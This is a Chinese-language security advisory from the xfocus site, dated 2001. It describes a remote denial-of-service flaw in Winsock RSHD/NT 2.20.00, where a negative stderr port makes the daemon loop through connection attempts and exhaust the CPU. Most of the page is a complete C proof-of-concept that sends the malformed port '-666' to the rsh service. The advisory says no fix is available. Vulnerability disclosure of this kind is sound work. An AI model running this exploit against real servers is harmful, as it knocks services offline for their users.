xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Winsock RSHD/NT 2.20.00 存在拒绝服务攻击


发布时间:2001-12-11
更新时间:2001-12-11
严重程度:
威胁程度:远程拒绝服务
错误类型:设计错误
利用方式:服务器模式

受影响系统
Winsock RSHD/NT 2.20.00
详细描述
Winsock RSHD/NT在处理stderr流的非法端口号的时候存在漏洞,当rsh客户端
连接到守护程序的时候,它发送端口号给守护程序的时候其会发送信息数据(stderr).当这个端口非法的时候(如负数),Winsock RSHD/NT会尝试连接1024以下所有端口甚至负数,可以导致消耗大量CPU时间,导致拒绝服务攻击。

测试代码
/*
** WRSHDNT 2.20.00 CPU overusage demo
** jimmers@yandex.ru
*/

#define HOST "localhost"
#define PORT 514

#include <stdio.h>
#include <winsock2.h>

int main(int argc, char * argv[]){
        SOCKET s;
        WSADATA WSAData;
        LPHOSTENT lpHostEnt;
        SOCKADDR_IN sockAddr;
        int res, on = 1;
        char *stderr_port = "-666";
        char *local_user = "Administrator";
        char *remote_user = "root";
        char *cmd = "help";

        res = WSAStartup( MAKEWORD( 2, 2 ),
&WSAData);
        if(res != 0){
                res = WSAGetLastError();
                printf("WSAStartup() failed,
WSAGetLastError: %d\n", res);
                return 1;
        }
        
        lpHostEnt = gethostbyname(HOST);
        if(lpHostEnt == NULL){
                res = WSAGetLastError();
                printf("gethostbyname() failed,
WSAGetLastError: %d\n", res);
                WSACleanup();
                return 1;
        }
        
        s = socket(AF_INET, SOCK_STREAM,
IPPROTO_TCP);
        if(s == INVALID_SOCKET){
                res = WSAGetLastError();
                printf("socket() failed,
WSAGetLastError: %d\n", res);
                WSACleanup();
                return 1;
        }

        sockAddr.sin_family = AF_INET;
        sockAddr.sin_port = htons(PORT);
        sockAddr.sin_addr = *((LPIN_ADDR)
*lpHostEnt->h_addr_list);
        
        res = connect(s, (PSOCKADDR)
&sockAddr, sizeof(sockAddr));
        if(res != 0){
                res = WSAGetLastError();
                printf("connect() failed,
WSAGetLastError: %d\n", res);
                WSACleanup();
                return 1;
        }

        Sleep(400);
        res = send(s, stderr_port, strlen
(stderr_port)+1, 0);
        if(res == SOCKET_ERROR){
                res = WSAGetLastError();
                printf("send(stderr_port) failed,
WSAGetLastError: %d\n", res);
                WSACleanup();
                return 1;
        }
        
        printf("send(stderr_port): %d\n", res);

        Sleep(400);
        res = send(s, local_user, strlen(local_user)
+1, 0);
        if(res == SOCKET_ERROR){
                res = WSAGetLastError();
                printf("send(local_user) failed,
WSAGetLastError: %d\n", res);
                WSACleanup();
                return 1;
        }
        printf("send(local_user): %d\n", res);


        Sleep(400);
        res = send(s, remote_user, strlen
(remote_user)+1, 0);
        if(res == SOCKET_ERROR){
                res = WSAGetLastError();
                printf("send(remote_user) failed,
WSAGetLastError: %d\n", res);
                WSACleanup();
                return 1;
        }
        printf("send(remote_user): %d\n", res);


        Sleep(400);
        res = send(s, cmd, strlen(cmd)+1, 0);
        if(res == SOCKET_ERROR){
                res = WSAGetLastError();
                printf("send(cmd) failed,
WSAGetLastError: %d\n", res);
                WSACleanup();
                return 1;
        }
        printf("send(cmd): %d\n", res);

        WSACleanup();
        return 0;
}

解决方案
尚无

相关信息
martin rakhmanoff (jimmers@yandex.ru)
参考:http://archives.neohapsis.com/archives/bugtraq/2001-12/0089.html